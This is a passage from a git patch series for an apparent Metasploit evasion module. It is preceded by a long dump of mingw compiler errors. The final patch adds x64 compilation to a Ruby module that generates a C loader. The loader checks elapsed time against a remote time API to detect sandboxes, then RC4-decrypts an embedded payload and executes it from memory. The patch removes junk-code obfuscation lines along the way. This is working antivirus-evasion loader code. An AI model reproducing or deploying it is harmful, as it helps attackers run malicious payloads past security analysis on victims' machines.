^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1553:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1553 | INTERNETAPI_(WINBOOL) InternetDeInitializeAutoProxyDll(LPSTR lpszMime,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1553:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1554:3: error: unknown type name ‘EXTERN_C’ - 1554 | INTERNETAPI_(WINBOOL) InternetGetProxyInfo(LPCSTR lpszUrl,DWORD dwUrlLength,LPSTR lpszUrlHostName,DWORD dwUrlHostNameLength,LPSTR *lplpszProxyHostName,LPDWORD lpdwProxyHostNameLength); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1554:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1554 | INTERNETAPI_(WINBOOL) InternetGetProxyInfo(LPCSTR lpszUrl,DWORD dwUrlLength,LPSTR lpszUrlHostName,DWORD dwUrlHostNameLength,LPSTR *lplpszProxyHostName,LPDWORD lpdwProxyHostNameLength); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1554:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1555:3: error: unknown type name ‘EXTERN_C’ - 1555 | INTERNETAPI_(WINBOOL) DetectAutoProxyUrl(LPSTR lpszAutoProxyUrl,DWORD dwAutoProxyUrlLength,DWORD dwDetectFlags); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1555:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1555 | INTERNETAPI_(WINBOOL) DetectAutoProxyUrl(LPSTR lpszAutoProxyUrl,DWORD dwAutoProxyUrlLength,DWORD dwDetectFlags); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1555:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1556:3: error: unknown type name ‘EXTERN_C’ - 1556 | INTERNETAPI_(WINBOOL) CreateMD5SSOHash(PWSTR pszChallengeInfo,PWSTR pwszRealm,PWSTR pwszTarget,PBYTE pbHexHash); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1556:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1556 | INTERNETAPI_(WINBOOL) CreateMD5SSOHash(PWSTR pszChallengeInfo,PWSTR pwszRealm,PWSTR pwszTarget,PBYTE pbHexHash); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1556:3: error: unknown type name ‘WINBOOL’ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:1566:18: error: unknown type name ‘CALLBACK’ - 1566 | typedef DWORD (CALLBACK *PFN_DIAL_HANDLER) (HWND,LPCSTR,DWORD,LPDWORD); - | ^~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:1584:3: error: unknown type name ‘EXTERN_C’ - 1584 | INTERNETAPI_(WINBOOL) InternetSetDialState(LPCSTR lpszConnectoid,DWORD dwState,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1584:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1584 | INTERNETAPI_(WINBOOL) InternetSetDialState(LPCSTR lpszConnectoid,DWORD dwState,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1584:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1587:3: error: unknown type name ‘EXTERN_C’ - 1587 | INTERNETAPI_(WINBOOL) InternetSetDialStateA(LPCSTR lpszConnectoid,DWORD dwState,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1587:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1587 | INTERNETAPI_(WINBOOL) InternetSetDialStateA(LPCSTR lpszConnectoid,DWORD dwState,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1587:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1588:3: error: unknown type name ‘EXTERN_C’ - 1588 | INTERNETAPI_(WINBOOL) InternetSetDialStateW(LPCWSTR lpszConnectoid,DWORD dwState,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1588:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1588 | INTERNETAPI_(WINBOOL) InternetSetDialStateW(LPCWSTR lpszConnectoid,DWORD dwState,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1588:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1592:3: error: unknown type name ‘EXTERN_C’ - 1592 | INTERNETAPI_(WINBOOL) InternetSetPerSiteCookieDecisionA(LPCSTR pchHostName,DWORD dwDecision); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1592:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1592 | INTERNETAPI_(WINBOOL) InternetSetPerSiteCookieDecisionA(LPCSTR pchHostName,DWORD dwDecision); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1592:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1593:3: error: unknown type name ‘EXTERN_C’ - 1593 | INTERNETAPI_(WINBOOL) InternetSetPerSiteCookieDecisionW(LPCWSTR pchHostName,DWORD dwDecision); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1593:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1593 | INTERNETAPI_(WINBOOL) InternetSetPerSiteCookieDecisionW(LPCWSTR pchHostName,DWORD dwDecision); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1593:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1594:3: error: unknown type name ‘EXTERN_C’ - 1594 | INTERNETAPI_(WINBOOL) InternetGetPerSiteCookieDecisionA(LPCSTR pchHostName,unsigned __LONG32 *pResult); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1594:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1594 | INTERNETAPI_(WINBOOL) InternetGetPerSiteCookieDecisionA(LPCSTR pchHostName,unsigned __LONG32 *pResult); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1594:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1595:3: error: unknown type name ‘EXTERN_C’ - 1595 | INTERNETAPI_(WINBOOL) InternetGetPerSiteCookieDecisionW(LPCWSTR pchHostName,unsigned __LONG32 *pResult); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1595:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1595 | INTERNETAPI_(WINBOOL) InternetGetPerSiteCookieDecisionW(LPCWSTR pchHostName,unsigned __LONG32 *pResult); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1595:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1596:3: error: unknown type name ‘EXTERN_C’ - 1596 | INTERNETAPI_(WINBOOL) InternetClearAllPerSiteCookieDecisions(); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1596:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1596 | INTERNETAPI_(WINBOOL) InternetClearAllPerSiteCookieDecisions(); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1596:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1597:3: error: unknown type name ‘EXTERN_C’ - 1597 | INTERNETAPI_(WINBOOL) InternetEnumPerSiteCookieDecisionA(LPSTR pszSiteName,unsigned __LONG32 *pcSiteNameSize,unsigned __LONG32 *pdwDecision,unsigned __LONG32 dwIndex); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1597:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1597 | INTERNETAPI_(WINBOOL) InternetEnumPerSiteCookieDecisionA(LPSTR pszSiteName,unsigned __LONG32 *pcSiteNameSize,unsigned __LONG32 *pdwDecision,unsigned __LONG32 dwIndex); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1597:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1598:3: error: unknown type name ‘EXTERN_C’ - 1598 | INTERNETAPI_(WINBOOL) InternetEnumPerSiteCookieDecisionW(LPWSTR pszSiteName,unsigned __LONG32 *pcSiteNameSize,unsigned __LONG32 *pdwDecision,unsigned __LONG32 dwIndex); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1598:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1598 | INTERNETAPI_(WINBOOL) InternetEnumPerSiteCookieDecisionW(LPWSTR pszSiteName,unsigned __LONG32 *pcSiteNameSize,unsigned __LONG32 *pdwDecision,unsigned __LONG32 dwIndex); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1598:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1625:3: error: unknown type name ‘EXTERN_C’ - 1625 | INTERNETAPI_(DWORD) PrivacySetZonePreferenceW(DWORD dwZone,DWORD dwType,DWORD dwTemplate,LPCWSTR pszPreference); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1625:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ - 1625 | INTERNETAPI_(DWORD) PrivacySetZonePreferenceW(DWORD dwZone,DWORD dwType,DWORD dwTemplate,LPCWSTR pszPreference); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1625:3: error: unknown type name ‘DWORD’ -/usr/share/mingw-w64/include/wininet.h:1626:3: error: unknown type name ‘EXTERN_C’ - 1626 | INTERNETAPI_(DWORD) PrivacyGetZonePreferenceW(DWORD dwZone,DWORD dwType,LPDWORD pdwTemplate,LPWSTR pszBuffer,LPDWORD pdwBufferLength); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1626:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ - 1626 | INTERNETAPI_(DWORD) PrivacyGetZonePreferenceW(DWORD dwZone,DWORD dwType,LPDWORD pdwTemplate,LPWSTR pszBuffer,LPDWORD pdwBufferLength); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1626:3: error: unknown type name ‘DWORD’ From 9d02803f5a3e66992fda21f97c7850d672a8038e Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Thu, 22 Feb 2024 17:46:55 +0100 Subject: [PATCH 22/22] Added support for both x86_32 and x86_64 mingw compiler --- .../windows/time_obfuscation_no_shellcode.rb | 30 ++++++------------- 1 file changed, 9 insertions(+), 21 deletions(-) diff --git a/modules/evasion/windows/time_obfuscation_no_shellcode.rb b/modules/evasion/windows/time_obfuscation_no_shellcode.rb index 9eb28ec9c18f..d5d981bec48d 100644 --- a/modules/evasion/windows/time_obfuscation_no_shellcode.rb +++ b/modules/evasion/windows/time_obfuscation_no_shellcode.rb @@ -24,7 +24,7 @@ def initialize(info = {}) 'Author' => [ 'Arthur RAOUT@nbs-system' ], 'License' => MSF_LICENSE, 'Platform' => 'win', - 'Arch' => ARCH_X86, + 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ ['Microsoft Windows', {}] ] ) ) @@ -179,14 +179,11 @@ def get_time_distorsion while (token != NULL) { if (strstr(token, fieldName)) { if (sscanf(token, "%*[^:]: %d", fieldValue) == 1) { - #{junk_code(1)} return 1; } else { - #{junk_code(1)} return 0; } } - #{junk_code(1)} token = strtok(NULL, delimiter); } @@ -201,7 +198,6 @@ def get_time_distorsion const char *path = "/api/timezone/Europe/London.txt"; WSADATA wsaData; - #{junk_code(1)} if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { return EXIT_FAILURE; } @@ -220,7 +216,6 @@ def get_time_distorsion struct sockaddr_in server_address; server_address.sin_family = AF_INET; - #{junk_code(1)} server_address.sin_port = htons(port); memcpy(&server_address.sin_addr, host_info->h_addr_list[0], host_info->h_length); @@ -243,14 +238,12 @@ def get_time_distorsion char response[4096]; ssize_t received_bytes; - #{junk_code(1)} while ((received_bytes = recv(client_socket, response, sizeof(response) - 1, 0)) > 0) { response[received_bytes] = '\0'; } int unixtime; extractField(response, "unixtime", &unixtime); - #{junk_code(1)} close(client_socket); WSACleanup(); return unixtime; @@ -259,14 +252,13 @@ def get_time_distorsion int time_distortion() { int unixtime = get_time(); sleep(10); - #{junk_code(1)} int unixtime2 = get_time(); + sleep(2); int diff = unixtime2 - unixtime; - if( diff < 11 ) + if( diff < 9 ) exit(1); else return (1); - #{junk_code(1)} return 0; } | @@ -293,24 +285,15 @@ def c_template int size = #{get_payload[:size]}; char buf[#{get_payload[:size]}]; int lpBufSize = sizeof(int) * size; - #{junk_code(1)} LPVOID lpBuf = _malloca(lpBufSize); - #{junk_code(1)} memset(lpBuf, '\\0', lpBufSize); #{get_payload_bytes} - #{junk_code(1)} RC4("#{rc4_key}", buf, (char*) lpBuf, size); - #{junk_code(1)} void (*func)(); - #{junk_code(1)} func = (void (*)()) lpBuf; - #{junk_code(1)} - printf("Running payload\\n"); (void)(*func)(); - #{junk_code(1)} return 0; - #{junk_code(1)} }| end @@ -318,7 +301,12 @@ def run fname = Rex::Text.rand_text_alpha(4..7) path = File.join(Msf::Config.local_directory, fname) full_path = ::File.expand_path(path) - m = Metasploit::Framework::Compiler::Mingw::X86.new({ show_compile_cmd: true, f_name: full_path, compile_options: ' -lpsapi -lwininet -lwinmm -lws2_32 -w ' }) + + if payload.inspect.split('@pinst').last.split(' ').first.include?("x64") + m = Metasploit::Framework::Compiler::Mingw::X64.new({ show_compile_cmd: true, f_name: full_path, compile_options: ' -lpsapi -lwininet -lwinmm -lws2_32 -w ' }) + else + m = Metasploit::Framework::Compiler::Mingw::X86.new({ show_compile_cmd: true, f_name: full_path, compile_options: ' -lpsapi -lwininet -lwinmm -lws2_32 -w ' }) + end output = m.compile_c(c_template) if !output.empty? print_error(output)